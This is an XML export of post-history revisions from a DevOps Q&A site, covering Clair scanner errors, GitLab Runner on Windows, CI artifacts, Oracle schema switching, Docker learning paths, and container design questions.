  <row Id="6528" PostHistoryTypeId="5" PostId="2081" RevisionGUID="0773d832-c1e6-48dd-8990-bb6ae32ba96a" CreationDate="2017-09-19T10:08:03.123" UserId="210" Comment="added 200 characters in body" Text="[This clair documentation][1] indicates that a number of tools should be able to scan images:&#xD;&#xA;&#xD;&#xA; - clair-scanner&#xD;&#xA; - reg&#xD;&#xA; - klar&#xD;&#xA; - clairctl&#xD;&#xA;&#xD;&#xA;analyze-local-images&#xD;&#xA;&#xD;&#xA;All of them have been tried, but none of them seems to work. All kind of issues occurred, including this:&#xD;&#xA;&#xD;&#xA;    2017-09-19 11:11:23.022625 I | Analyzing faild: Could not analyze layer: &#xD;&#xA;    Got response 400 with message {&quot;Error&quot;:{&quot;Message&quot;:&quot;could not find layer&quot;}}&#xD;&#xA;&#xD;&#xA;Another issue that occurred using clairctl:&#xD;&#xA;&#xD;&#xA;    panic: runtime error: invalid memory address or nil pointer dereference&#xD;&#xA;    [signal SIGSEGV: segmentation violation code=0x1 addr=0x0 pc=0x518490]&#xD;&#xA;&#xD;&#xA;  [1]: https://github.com/coreos/clair/blob/master/Documentation/integrations.md" ContentLicense="CC BY-SA 3.0" />
  <row Id="6529" PostHistoryTypeId="5" PostId="2081" RevisionGUID="46e9ae64-ab04-4f51-95d1-60e04003e06b" CreationDate="2017-09-19T10:13:08.500" UserId="210" Comment="added 200 characters in body" Text="[This clair documentation][1] indicates that a number of tools should be able to scan images:&#xD;&#xA;&#xD;&#xA; - clair-scanner&#xD;&#xA; - reg&#xD;&#xA; - klar&#xD;&#xA; - clairctl&#xD;&#xA;&#xD;&#xA;analyze-local-images&#xD;&#xA;&#xD;&#xA;All of them have been tried, but none of them seems to work. All kind of issues occurred, including this:&#xD;&#xA;&#xD;&#xA;    2017-09-19 11:11:23.022625 I | Analyzing faild: Could not analyze layer: &#xD;&#xA;    Got response 400 with message {&quot;Error&quot;:{&quot;Message&quot;:&quot;could not find layer&quot;}}&#xD;&#xA;&#xD;&#xA;Another issue that occurred using clairctl:&#xD;&#xA;&#xD;&#xA;    panic: runtime error: invalid memory address or nil pointer dereference&#xD;&#xA;    [signal SIGSEGV: segmentation violation code=0x1 addr=0x0 pc=0x518490]&#xD;&#xA;&#xD;&#xA;&gt; does this happen with all images including official like ubuntu,&#xD;&#xA;&gt; alpine, tomcat?&#xD;&#xA;&#xD;&#xA;Using clairctl it was possible to scan postgres an other images that are available on dockerhub, but scanning local images failed &#xD;&#xA;&#xD;&#xA;  [1]: https://github.com/coreos/clair/blob/master/Documentation/integrations.md" ContentLicense="CC BY-SA 3.0" />
  <row Id="6533" PostHistoryTypeId="4" PostId="2076" RevisionGUID="092a542d-c371-41fd-a43e-c3e892b65bde" CreationDate="2017-09-19T12:14:51.283" UserId="707" Comment="edited title" Text="Cassandra DB: store binary file record via shell" ContentLicense="CC BY-SA 3.0" />
  <row Id="6539" PostHistoryTypeId="2" PostId="2085" RevisionGUID="21664ae8-d7d9-40f1-a597-0b7f29fcec88" CreationDate="2017-09-19T14:07:51.897" UserId="2956" Text="The only way to do it with cqlsh is wrap binary file into CSV file and run `cqlsh --some_args -e 'COPY table_name FROM binary_wrapped.csv'`, but in order to do so you have to generate a new primary key to use in CSV-file.&#xD;&#xA;&#xD;&#xA;IMO: Since cqlsh is a wrapper around python client, your ops should just write simple python script for this operation, it would be much easier in many ways." ContentLicense="CC BY-SA 3.0" />
  <row Id="6540" PostHistoryTypeId="2" PostId="2086" RevisionGUID="e18882d9-e10c-40d2-8449-d5a625c5d912" CreationDate="2017-09-19T15:32:51.433" UserId="2494" Text="I have a Gitlab Runner running locally on my windows box. It works fine for the before script section.&#xD;&#xA;&#xD;&#xA;my `.gitlab-ci.yml` follows:&#xD;&#xA;&#xD;&#xA;    before_script:&#xD;&#xA;      - pushd . &amp;&amp; uru 233 &amp;&amp; popd &amp;&amp; set HOME=c:\ &amp;&amp; ruby -v &amp;&amp; bundle install&#xD;&#xA;&#xD;&#xA;    rspec:&#xD;&#xA;      script:&#xD;&#xA;        - bundle exec rspec&#xD;&#xA;    &#xD;&#xA;    rubocop:&#xD;&#xA;      script:&#xD;&#xA;        - bundle exec rubocop&#xD;&#xA;        &#xD;&#xA;    flay:&#xD;&#xA;      script:&#xD;&#xA;        - bundle exec flay *&#xD;&#xA;&#xD;&#xA;It does not do anything after the before script, though. Does not run any of the jobs.&#xD;&#xA;&#xD;&#xA;How can I find out what's going on?" ContentLicense="CC BY-SA 3.0" />
  <row Id="6541" PostHistoryTypeId="1" PostId="2086" RevisionGUID="e18882d9-e10c-40d2-8449-d5a625c5d912" CreationDate="2017-09-19T15:32:51.433" UserId="2494" Text="Gitlab Runner not running scripts" ContentLicense="CC BY-SA 3.0" />
  <row Id="6542" PostHistoryTypeId="3" PostId="2086" RevisionGUID="e18882d9-e10c-40d2-8449-d5a625c5d912" CreationDate="2017-09-19T15:32:51.433" UserId="2494" Text="&lt;gitlab&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="6543" PostHistoryTypeId="2" PostId="2087" RevisionGUID="a4932b51-0c36-458b-a0e2-bb7f0eb6b410" CreationDate="2017-09-19T15:36:02.403" UserId="210" Text="[stages][1] are required&#xD;&#xA;&#xD;&#xA;    stages:&#xD;&#xA;      - stage1&#xD;&#xA;    &#xD;&#xA;    stage1:&#xD;&#xA;      stage: stage1&#xD;&#xA;      script:&#xD;&#xA;        - echo hello&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://docs.gitlab.com/ee/ci/yaml/#stages" ContentLicense="CC BY-SA 3.0" />
  <row Id="6544" PostHistoryTypeId="5" PostId="2086" RevisionGUID="8a6a5d21-b4ed-4fbf-9c62-b47df1ae9ee3" CreationDate="2017-09-19T15:36:57.090" UserId="2494" Comment="added 500 characters in body" Text="I have a Gitlab Runner running locally on my windows box. It works fine for the before script section.&#xD;&#xA;&#xD;&#xA;my `.gitlab-ci.yml` follows:&#xD;&#xA;&#xD;&#xA;    before_script:&#xD;&#xA;      - pushd . &amp;&amp; uru 233 &amp;&amp; popd &amp;&amp; set HOME=c:\ &amp;&amp; ruby -v &amp;&amp; bundle install&#xD;&#xA;&#xD;&#xA;    rspec:&#xD;&#xA;      script:&#xD;&#xA;        - bundle exec rspec&#xD;&#xA;    &#xD;&#xA;    rubocop:&#xD;&#xA;      script:&#xD;&#xA;        - bundle exec rubocop&#xD;&#xA;        &#xD;&#xA;    flay:&#xD;&#xA;      script:&#xD;&#xA;        - bundle exec flay *&#xD;&#xA;&#xD;&#xA;It does not do anything after the before script, though. Does not run any of the jobs.&#xD;&#xA;&#xD;&#xA;How can I find out what's going on?&#xD;&#xA;&#xD;&#xA;I was able to fix it with a super-non-ideal/hacky solution that I don't like:&#xD;&#xA;&#xD;&#xA;    rspec:&#xD;&#xA;      script:&#xD;&#xA;        - pushd . &amp;&amp; uru 233 &amp;&amp; popd &amp;&amp; set HOME=c:\ &amp;&amp; ruby -v &amp;&amp; bundle install &amp;&amp; bundle exec rspec&#xD;&#xA;    &#xD;&#xA;    rubocop:&#xD;&#xA;      script:&#xD;&#xA;        - pushd . &amp;&amp; uru 233 &amp;&amp; popd &amp;&amp; set HOME=c:\ &amp;&amp; ruby -v &amp;&amp; bundle install &amp;&amp; bundle exec rubocop&#xD;&#xA;        &#xD;&#xA;    flay:&#xD;&#xA;      script:&#xD;&#xA;        - pushd . &amp;&amp; uru 233 &amp;&amp; popd &amp;&amp; set HOME=c:\ &amp;&amp; ruby -v &amp;&amp; bundle install &amp;&amp; bundle exec flay *&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="6545" PostHistoryTypeId="5" PostId="2087" RevisionGUID="2bfcb763-f833-4eb9-8f5e-59a774d7a1af" CreationDate="2017-09-19T16:05:57.323" UserId="210" Comment="added 396 characters in body" Text="[stages][1] are required&#xD;&#xA;&#xD;&#xA;    stages:&#xD;&#xA;      - stage1&#xD;&#xA;    &#xD;&#xA;    stage1:&#xD;&#xA;      stage: stage1&#xD;&#xA;      script:&#xD;&#xA;        - echo hello&#xD;&#xA;&#xD;&#xA;Could you try the following:&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    before_script:&#xD;&#xA;      - pushd . &amp;&amp; uru 233 &amp;&amp; popd &amp;&amp; set HOME=c:\ &amp;&amp; ruby -v &amp;&amp; bundle install&#xD;&#xA;    &#xD;&#xA;    stages:&#xD;&#xA;      - rspec&#xD;&#xA;      - rubocop&#xD;&#xA;      - flay&#xD;&#xA;    &#xD;&#xA;    rspec:&#xD;&#xA;      stage: rspec&#xD;&#xA;      script:&#xD;&#xA;        - bundle exec rspec&#xD;&#xA;    &#xD;&#xA;    rubocop:&#xD;&#xA;      stage: rubocop&#xD;&#xA;      script:&#xD;&#xA;        - bundle exec rubocop&#xD;&#xA;    &#xD;&#xA;    flay:&#xD;&#xA;      stage: flay&#xD;&#xA;      script:&#xD;&#xA;        - bundle exec flay *&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://docs.gitlab.com/ee/ci/yaml/#stages" ContentLicense="CC BY-SA 3.0" />
  <row Id="6549" PostHistoryTypeId="5" PostId="2072" RevisionGUID="318e80b8-ef9f-4233-9a66-da65b9bdf307" CreationDate="2017-09-19T20:44:05.303" UserId="4175" Comment="added 638 characters in body" Text="This is very easily possible, with no change to any code (neither the PL/SQL code nor your application code, if there is some other application like Java or whatever):&#xD;&#xA;&#xD;&#xA;1. Put all PL/SQL in one (or more) separate Oracle schema. If your application today uses only one &quot;myapp&quot; schema for tables and PL/SQL, then in the future you will have &quot;myapp&quot; (tables, indexes etc.) and &quot;mycode&quot; (or whatever) which *only* contains PL/SQL procedures.&#xD;&#xA;2. In &quot;myapp&quot;, create synonyms for all the objects that now live in &quot;mycode&quot;.&#xD;&#xA;3. In &quot;mycode&quot;, you can create stub tables - i.e., the same tables as in &quot;myapp&quot;, but without any data. You do not need any indexes or whatnot, just the tables. These are only used at compile time; they are especially not used by the optimizer, later.&#xD;&#xA;&#xD;&#xA;That's it for separating your code and data. The next step obviously is to create &quot;mycode2&quot; as a clone of &quot;mycode&quot;, and from then on you simply need to switch the synonyms in &quot;myapp&quot; between those two. You can have as many code schemas as you want, and switch between them freely with some rather trivial tooling.&#xD;&#xA;&#xD;&#xA;(Setting the proper options, grants, making sure that the PL/SQL uses the tables of the caller instead of the compile unit left as an exercise to the reader... - feel free to ask if anything is really unclear.)&#xD;&#xA;&#xD;&#xA;Practical hints:  It is true that you have to change 5000 synonyms (well, hopefully you do not have 5000 PL/SQL packages :) ), but that is an uncritical operation insofar as there is nothing that can go wrong (both `drop synonym` and `create synonym` can not go wrong for any reason I am aware of; unlike e.g. `drop table` which can lock if the table is in use). You will obviously script those drops; and you will also probably query the synonyms you have to set by `select object_name from all_objects where user_name='MYCODE2' and object_type in ('PACKAGE', 'PROCEDURE')` or something like that to automatically catch all of them. " ContentLicense="CC BY-SA 3.0" />
  <row Id="6550" PostHistoryTypeId="2" PostId="2088" RevisionGUID="99fcf5c8-85ac-4364-8777-658ded4cd85c" CreationDate="2017-09-19T21:34:50.727" UserId="4175" Text="I am in a similar pair of shoes as you - I am currently, slowly, getting into the DevOps topics after having many, many years of conventional development (and close connections to conventional ops) behind me.&#xD;&#xA;&#xD;&#xA;You seem to have read a few articles, or heard a few things. That is good. Let me suggets a practical approach how to go on:&#xD;&#xA;&#xD;&#xA;1. Take your favourite application; not too large, preferably with a limited amount of services (like Apache, DB etc.) working together with your app.&#xD;&#xA;2. Install `docker`, read a bit on the Dockerfile and the whole build process, and just go ahead to create one or more Dockerfiles for that application. You know already how to deploy it manually; not make it run inside a container.&#xD;&#xA;  * Make it easy on yourself. Use a `FROM`parent container that is a full-blown distribution of your choice. I like `debian:jessie`, but you can pick whichever you are familiar with.&#xD;&#xA;  * At the start, do not worry about image sizes. This is just a pet project. Start your Dockerfile with the `FROM`, then as many `apt-get update; apt-get install ...` as you need to get your application running. Add stuff with `ADD` and `COPY`liberally.&#xD;&#xA;3. Learn how to actually run those containers; how `EXPOSE`works, how  to `--link`the app together with the DB and the Apache (in case you made a separate container for that - you can skip this obviously if your app is able to serve all stuff including static pages itself). Figure out how to mount/bind `volumes`, how to debug a container by opening a shell inside it and so on. `docker-compose` is nice if you have more than one, and pretty simple to get going with.&#xD;&#xA;4. Now you probably have a working setup. That's great! You have learned the basics, and you immediately feel the great power that comes from containerizing your app. You can deploy it instantly on any server, you can give it to your developer colleagues and go up and running in zero time, and so on. Enjoy that feeling for a while.&#xD;&#xA;5. Make the image smaller. There are a few obvious things you can do (google...), and a few not so obvious ones (thinking is like googling, just better... :) ). If you need help on that, post more questions here.&#xD;&#xA;6. Get Jenkins (feel free to do so with docker, again, if you're adventurous) and make a job to build the image from the Dockerfile and run your test suite directly in the container you built. Jenkins can check your repository for updates automatically, you don't need to bother with `git` hooks at this moment.&#xD;&#xA;7. You're done! This was the CI part. For CD, after the tests are green in Jenkins, simply tag the build and send it on to your deployment server.&#xD;&#xA;&#xD;&#xA;This should take you, if you are an experienced developer and have done these things &quot;dry&quot; already, not much longer than a few days. Docker itself is a pretty simple affair, there is not much more to it. One further part that makes sense to add to the puzzle is Ansible, which makes it pretty easy to manage another machine remotely (i.e. for installing packages, deploying stuff, starting services and whatnot).&#xD;&#xA;&#xD;&#xA;If you have Docker and Ansible down, just get your CI/CD pipeline to work. Google advanced, but necessary stuff like security and such. After that, you should be experienced enough to decide in which direction to go next (i.e., larger stuff like Openshift/Kubernetes, or just whatever AWS/Azure or whatever have to offer, etc.). There are a myriad of different options out there, and much of the choice seems to be pretty opinion-based. If you get into High Availability, swarms and such, it will also pretty soon get more non-trivial. But starting out with Docker should be fun and relatively straightforward." ContentLicense="CC BY-SA 3.0" />
  <row Id="6551" PostHistoryTypeId="5" PostId="2088" RevisionGUID="ce075612-a56c-4b60-addc-7e00047857f8" CreationDate="2017-09-19T21:57:26.337" UserId="4175" Comment="added 40 characters in body" Text="I am in a similar pair of shoes as you - I am currently, slowly, getting into the DevOps topics after having many, many years of conventional development (and close connections to conventional ops) behind me.&#xD;&#xA;&#xD;&#xA;You seem to have read a few articles, or heard a few things. That is good. Let me suggest a practical approach how to go on:&#xD;&#xA;&#xD;&#xA;1. Take your favourite application (which you or your team wrote yourself); not too large, preferably with a limited amount of services (like Apache, DB etc.) working together with your app.&#xD;&#xA;2. Install `docker`, read a bit on the Dockerfile and the whole build process, and just go ahead to create one or more Dockerfiles for that application. You know already how to deploy it manually; now make it run inside a container.&#xD;&#xA;  * Make it easy on yourself. Use a `FROM`parent container that is a full-blown distribution of your choice. I like `debian:jessie`, but you can pick whichever you are familiar with.&#xD;&#xA;  * At the start, do not worry about image sizes. This is just a pet project. Start your Dockerfile with the `FROM`, then as many `apt-get update; apt-get install ...` as you need to get your application running. Add stuff with `ADD` and `COPY`liberally.&#xD;&#xA;3. Learn how to actually run those containers; how `EXPOSE`works, how  to `--link`the app together with the DB and the Apache (in case you made a separate container for that - you can skip this obviously if your app is able to serve all stuff including static pages itself). Figure out how to mount/bind `volumes`, how to debug a container by opening a shell inside it and so on. `docker-compose` is nice if you have more than one, and pretty simple to get going with.&#xD;&#xA;4. Now you probably have a working setup. That's great! You have learned the basics, and you immediately feel the great power that comes from containerizing your app. You can deploy it instantly on any server, you can give it to your developer colleagues and go up and running in zero time, and so on. Enjoy that feeling for a while.&#xD;&#xA;5. Make the image smaller. There are a few obvious things you can do (google...), and a few not so obvious ones (thinking is like googling, just better... :) ). If you need help on that, post more questions here.&#xD;&#xA;6. Get Jenkins (feel free to do so with docker, again, if you're adventurous) and make a job to build the image from the Dockerfile and run your test suite directly in the container you built. Jenkins can check your repository for updates automatically, you don't need to bother with `git` hooks at this moment.&#xD;&#xA;7. You're done! This was the CI part. For CD, after the tests are green in Jenkins, simply tag the build and send it on to your deployment server.&#xD;&#xA;&#xD;&#xA;This should take you, if you are an experienced developer and have done these things &quot;dry&quot; already, not much longer than a few days. Docker itself is a pretty simple affair, there is not much more to it. One further part that makes sense to add to the puzzle is Ansible, which makes it pretty easy to manage another machine remotely (i.e. for installing packages, deploying stuff, starting services and whatnot).&#xD;&#xA;&#xD;&#xA;If you have Docker and Ansible down, just get your CI/CD pipeline to work. Google advanced, but necessary stuff like security and such. After that, you should be experienced enough to decide in which direction to go next (i.e., larger stuff like Openshift/Kubernetes, or just whatever AWS/Azure or whatever have to offer, etc.). There are a myriad of different options out there, and much of the choice seems to be pretty opinion-based. If you get into High Availability, swarms and such, it will also pretty soon get more non-trivial. But starting out with Docker should be fun and relatively straightforward." ContentLicense="CC BY-SA 3.0" />
  <row Id="6555" PostHistoryTypeId="2" PostId="2089" RevisionGUID="f4a16ad7-9fff-4686-93dd-8cda5edcf652" CreationDate="2017-09-20T08:29:29.043" UserId="3775" Text="I just started working with Docker and Kubernetes and I've been watching a lot of stacks, in which some people build nginx+php in a single image and some build and image with nginx and another one with php (mounting the same path and enclosing both containers in the same deployment in Kubernetes).&#xD;&#xA;&#xD;&#xA;What would be the advantages of building two docker images instead of installing both nginx+php in the same one?" ContentLicense="CC BY-SA 3.0" />
  <row Id="6556" PostHistoryTypeId="1" PostId="2089" RevisionGUID="f4a16ad7-9fff-4686-93dd-8cda5edcf652" CreationDate="2017-09-20T08:29:29.043" UserId="3775" Text="What are the advantages of dockerize nginx and php in different containers?" ContentLicense="CC BY-SA 3.0" />
  <row Id="6557" PostHistoryTypeId="3" PostId="2089" RevisionGUID="f4a16ad7-9fff-4686-93dd-8cda5edcf652" CreationDate="2017-09-20T08:29:29.043" UserId="3775" Text="&lt;docker&gt;&lt;dockerfile&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="6558" PostHistoryTypeId="4" PostId="2089" RevisionGUID="aafb0e51-25c2-46a3-9539-a39554750a00" CreationDate="2017-09-20T09:40:41.883" UserId="3775" Comment="edited title" Text="What are the advantages of dockerizing nginx and php in different containers?" ContentLicense="CC BY-SA 3.0" />
  <row Id="6559" PostHistoryTypeId="5" PostId="2089" RevisionGUID="aafb0e51-25c2-46a3-9539-a39554750a00" CreationDate="2017-09-20T09:40:41.883" UserId="3775" Comment="edited title" Text="I just started working with Docker and Kubernetes and I've been watching a lot of stacks, in which some people build nginx+php in a single image and some build an image with nginx and another one with php (mounting the same path and enclosing both containers in the same deployment in Kubernetes).&#xD;&#xA;&#xD;&#xA;What would be the advantages of building two docker images instead of installing both nginx+php in the same one?" ContentLicense="CC BY-SA 3.0" />
  <row Id="6560" PostHistoryTypeId="2" PostId="2090" RevisionGUID="3efa9e64-3a17-4363-99d2-1f4287846aa1" CreationDate="2017-09-20T09:49:23.963" UserId="13" Text="PHP with nginx is usually done using php-fpm which is a separate processus.&#xD;&#xA;&#xD;&#xA;Keeping the core idea of docker of one process per container this makes sense to have the nginx process and php-fpm process in separate containers.&#xD;&#xA;&#xD;&#xA;As the communication between nginx and php-fpm arise through fastcgi the php-fpm container can also be on a separated host and this allows using a cluster of php-fpm containers behind nginx." ContentLicense="CC BY-SA 3.0" />
  <row Id="6561" PostHistoryTypeId="5" PostId="2079" RevisionGUID="1d84c865-d71d-474c-a4a5-8c295ed6151e" CreationDate="2017-09-20T10:05:23.210" UserId="210" Comment="added 81 characters in body" Text="Use this tag if a question is about the docker vulnerability scanner called clair" ContentLicense="CC BY-SA 3.0" />
  <row Id="6562" PostHistoryTypeId="24" PostId="2079" RevisionGUID="1d84c865-d71d-474c-a4a5-8c295ed6151e" CreationDate="2017-09-20T10:05:23.210" Comment="Proposed by 210 approved by 40, 13 edit id of 445" ContentLicense="CC BY-SA 3.0" />
  <row Id="6563" PostHistoryTypeId="4" PostId="2086" RevisionGUID="6ce04e3d-7eff-45db-b2df-f7b3acf1ba6f" CreationDate="2017-09-20T10:20:03.737" UserId="2494" Comment="edited title" Text="Gitlab Runner not running scripts with Windows shell configuration" ContentLicense="CC BY-SA 3.0" />
  <row Id="6564" PostHistoryTypeId="2" PostId="2091" RevisionGUID="8ea02d4c-c9cc-4ce0-a20b-dd73fefe3d54" CreationDate="2017-09-20T10:52:01.233" UserId="4369" Text="There is no meaningful benefit that outweighs having to manage two containers. As long as you have a 1:1 relationship between the processes and they serve a single purpose, put them in the same container. " ContentLicense="CC BY-SA 3.0" />
  <row Id="6565" PostHistoryTypeId="5" PostId="2086" RevisionGUID="9de5e65e-3440-4ce2-b757-86c3c3cbc92e" CreationDate="2017-09-20T10:55:19.680" UserId="2494" Comment="added 482 characters in body" Text="I have a Gitlab Runner running locally on my windows box. It works fine for the before script section.&#xD;&#xA;&#xD;&#xA;my `.gitlab-ci.yml` follows:&#xD;&#xA;&#xD;&#xA;    before_script:&#xD;&#xA;      - pushd . &amp;&amp; uru 233 &amp;&amp; popd &amp;&amp; set HOME=c:\ &amp;&amp; ruby -v &amp;&amp; bundle install&#xD;&#xA;&#xD;&#xA;    rspec:&#xD;&#xA;      script:&#xD;&#xA;        - bundle exec rspec&#xD;&#xA;    &#xD;&#xA;    rubocop:&#xD;&#xA;      script:&#xD;&#xA;        - bundle exec rubocop&#xD;&#xA;        &#xD;&#xA;    flay:&#xD;&#xA;      script:&#xD;&#xA;        - bundle exec flay *&#xD;&#xA;&#xD;&#xA;It does not do anything after the before script, though. Does not run any of the jobs.&#xD;&#xA;&#xD;&#xA;How can I find out what's going on?&#xD;&#xA;&#xD;&#xA;I was able to fix it with a super-non-ideal/hacky solution that I don't like:&#xD;&#xA;&#xD;&#xA;    rspec:&#xD;&#xA;      script:&#xD;&#xA;        - pushd . &amp;&amp; uru 233 &amp;&amp; popd &amp;&amp; set HOME=c:\ &amp;&amp; ruby -v &amp;&amp; bundle install &amp;&amp; bundle exec rspec&#xD;&#xA;    &#xD;&#xA;    rubocop:&#xD;&#xA;      script:&#xD;&#xA;        - pushd . &amp;&amp; uru 233 &amp;&amp; popd &amp;&amp; set HOME=c:\ &amp;&amp; ruby -v &amp;&amp; bundle install &amp;&amp; bundle exec rubocop&#xD;&#xA;        &#xD;&#xA;    flay:&#xD;&#xA;      script:&#xD;&#xA;        - pushd . &amp;&amp; uru 233 &amp;&amp; popd &amp;&amp; set HOME=c:\ &amp;&amp; ruby -v &amp;&amp; bundle install &amp;&amp; bundle exec flay *&#xD;&#xA;&#xA;People sending comments have also prompted me to add that in Windows it seems to be stopping at the first array element in every script session.&#xA;&#xA;With a Docket configuration for the runner I can do things like:&#xA;&#xA;    my_job_name:&#xA;      script:&#xA;        - a command&#xA;        - another command&#xA;&#xA;With the windows shell runner it just stops after `a command` if I do it this way. Stringing the commands together seemed to work, but I would rather not have to put everything on one line.&#xA;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="6566" PostHistoryTypeId="5" PostId="2086" RevisionGUID="30dec26d-97e8-44a3-baa9-8e217d795059" CreationDate="2017-09-20T11:01:06.433" UserId="2494" Comment="edited body" Text="I have a Gitlab Runner running locally on my windows box. It works fine for the before script section.&#xD;&#xA;&#xD;&#xA;my `.gitlab-ci.yml` follows:&#xD;&#xA;&#xD;&#xA;    before_script:&#xD;&#xA;      - pushd . &amp;&amp; uru 233 &amp;&amp; popd &amp;&amp; set HOME=c:\ &amp;&amp; ruby -v &amp;&amp; bundle install&#xD;&#xA;&#xD;&#xA;    rspec:&#xD;&#xA;      script:&#xD;&#xA;        - bundle exec rspec&#xD;&#xA;    &#xD;&#xA;    rubocop:&#xD;&#xA;      script:&#xD;&#xA;        - bundle exec rubocop&#xD;&#xA;        &#xD;&#xA;    flay:&#xD;&#xA;      script:&#xD;&#xA;        - bundle exec flay *&#xD;&#xA;&#xD;&#xA;It does not do anything after the before script, though. Does not run any of the jobs.&#xD;&#xA;&#xD;&#xA;How can I find out what's going on?&#xD;&#xA;&#xD;&#xA;I was able to fix it with a super-non-ideal/hacky solution that I don't like:&#xD;&#xA;&#xD;&#xA;    rspec:&#xD;&#xA;      script:&#xD;&#xA;        - pushd . &amp;&amp; uru 233 &amp;&amp; popd &amp;&amp; set HOME=c:\ &amp;&amp; ruby -v &amp;&amp; bundle install &amp;&amp; bundle exec rspec&#xD;&#xA;    &#xD;&#xA;    rubocop:&#xD;&#xA;      script:&#xD;&#xA;        - pushd . &amp;&amp; uru 233 &amp;&amp; popd &amp;&amp; set HOME=c:\ &amp;&amp; ruby -v &amp;&amp; bundle install &amp;&amp; bundle exec rubocop&#xD;&#xA;        &#xD;&#xA;    flay:&#xD;&#xA;      script:&#xD;&#xA;        - pushd . &amp;&amp; uru 233 &amp;&amp; popd &amp;&amp; set HOME=c:\ &amp;&amp; ruby -v &amp;&amp; bundle install &amp;&amp; bundle exec flay *&#xD;&#xA;&#xA;People sending comments have also prompted me to add that in Windows it seems to be stopping at the first array element in every script session.&#xA;&#xA;With a Docker configuration for the runner I can do things like:&#xA;&#xA;    my_job_name:&#xA;      script:&#xA;        - a command&#xA;        - another command&#xA;&#xA;With the windows shell runner it just stops after `a command` if I do it this way. Stringing the commands together seemed to work, but I would rather not have to put everything on one line.&#xA;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="6567" PostHistoryTypeId="34" PostId="1958" RevisionGUID="5244036e-e989-451a-b91d-9977c961f3e1" CreationDate="2017-09-20T13:13:45.113" UserId="60" Comment="7" />
  <row Id="6568" PostHistoryTypeId="2" PostId="2092" RevisionGUID="ced2746c-9b73-4820-b4e9-cb2bc70cc53e" CreationDate="2017-09-20T21:47:53.027" UserId="2313" Text="It seems you're trying to define the artifacts globally, that won't work with multiple paths since you're overwriting the definition of the key. Instead you should define the paths per job.&#xD;&#xA;&#xD;&#xA;artifacts:&#xD;&#xA;    expire_in: 1 week&#xD;&#xA;&#xD;&#xA;    build:buildjob&#xD;&#xA;        paths:&#xD;&#xA;        - build/test1&#xD;&#xA;        - build/test2&#xD;&#xA;        - build/test3&#xD;&#xA;        expire_in: 15 mins&#xD;&#xA;&#xD;&#xA;    test:testjob&#xD;&#xA;          paths:&#xD;&#xA;            - build/*.dmg&#xD;&#xA;          artifacts:&#xD;&#xA;            expire_in: 1 week&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="6569" PostHistoryTypeId="2" PostId="2093" RevisionGUID="2b84a05b-3c42-4d5e-823d-4404395e2773" CreationDate="2017-09-21T03:12:18.920" UserId="2276" Text="You've chosen a fairly difficult stack to support. WAMP is largely used in dev environments, and the windows builds of mysql, php, and apache typically lag their Linux counterparts by a significant amount.  You can likely reuse your code, barring any hard coded or absolute paths, on Linux. Once you move to Linux, there are lots of great deployment options, the most obvious of which is probably docker. Since your stack includes a full relational database solution, and a web server, you're up against a lot of potential complexity. This makes it near impossible to give you a good answer beyond scripting something via powershell and rolling your own if you want to keep this stack on windows.  You can keep windows and swap your stack and switch languages (probably a terrible idea, depending on how far you are into this) or you can switch operating systems and keep your code, but potentially fight with a whole world of new OS frustrations. I recommend this path, but there's no solver bullet here. &#xD;&#xA;&#xD;&#xA;So you have two pretty significant hurdles: &#xD;&#xA;1. Get this app running on LAMP. &#xD;&#xA;2. learn a deployment tool for LAMP.&#xD;&#xA;&#xD;&#xA;Alternatively you might be able to find a specialized WAMP host who will let you do something like FTP your code to them, which you could script.  That's not really a production-worthy plan if you ever intend to scale this application, but sometimes it's smart to act small. " ContentLicense="CC BY-SA 3.0" />
  <row Id="6570" PostHistoryTypeId="2" PostId="2094" RevisionGUID="dddcc904-171e-48d6-970d-741699a5e0a6" CreationDate="2017-09-21T07:02:54.917" UserId="4175" Text="We have UML to describe classes, components, workflows. We have BPMN to describe business processes. We have more old-fashioned forms used way past for structural diagrams.&#xD;&#xA;&#xD;&#xA;Is there anything established or semi-established in the DevOps world? The information contained in a simple diagram should be something like:&#xD;&#xA;&#xD;&#xA;- Which containers are there in a containerized app, including their associations (i.e. which statically depends on which for building) and the (micro)services they provide?&#xD;&#xA;- How do they interact dynamically (networking etc.)?&#xD;&#xA;- What responsibility does each of the containers fulfill?&#xD;&#xA;- What requirements does each container have on the host, if necessary?&#xD;&#xA;&#xD;&#xA;And so on.&#xD;&#xA;&#xD;&#xA;I'm neither asking for a list of any private schemes somebody may fancy, nor about opinions on which is the most beautiful. &#xD;&#xA;&#xD;&#xA;I'm strictly asking about whether there *exist* any that either by purpose are industry standards or have turned out to just be used in many places by chance/convention.&#xD;&#xA;&#xD;&#xA;The purpose of using such a scheme, for me, would be to have somethng that would instantly be recognized by fellow DevOps people." ContentLicense="CC BY-SA 3.0" />
  <row Id="6571" PostHistoryTypeId="1" PostId="2094" RevisionGUID="dddcc904-171e-48d6-970d-741699a5e0a6" CreationDate="2017-09-21T07:02:54.917" UserId="4175" Text="Is there an established scheme for creating diagrams about Containers, Services etc.?" ContentLicense="CC BY-SA 3.0" />
  <row Id="6572" PostHistoryTypeId="3" PostId="2094" RevisionGUID="dddcc904-171e-48d6-970d-741699a5e0a6" CreationDate="2017-09-21T07:02:54.917" UserId="4175" Text="&lt;culture&gt;&lt;documentation&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="6573" PostHistoryTypeId="2" PostId="2095" RevisionGUID="b02dd14c-2598-4419-be08-1c00c9029382" CreationDate="2017-09-21T07:23:41.147" UserId="707" Text="Docker daemon has to run in root mode which brings up security discussions.&#xD;&#xA;&#xD;&#xA;How is this with Kubernetes? " ContentLicense="CC BY-SA 3.0" />
  <row Id="6574" PostHistoryTypeId="1" PostId="2095" RevisionGUID="b02dd14c-2598-4419-be08-1c00c9029382" CreationDate="2017-09-21T07:23:41.147" UserId="707" Text="K8S (Kubernetes) user mode in production" ContentLicense="CC BY-SA 3.0" />
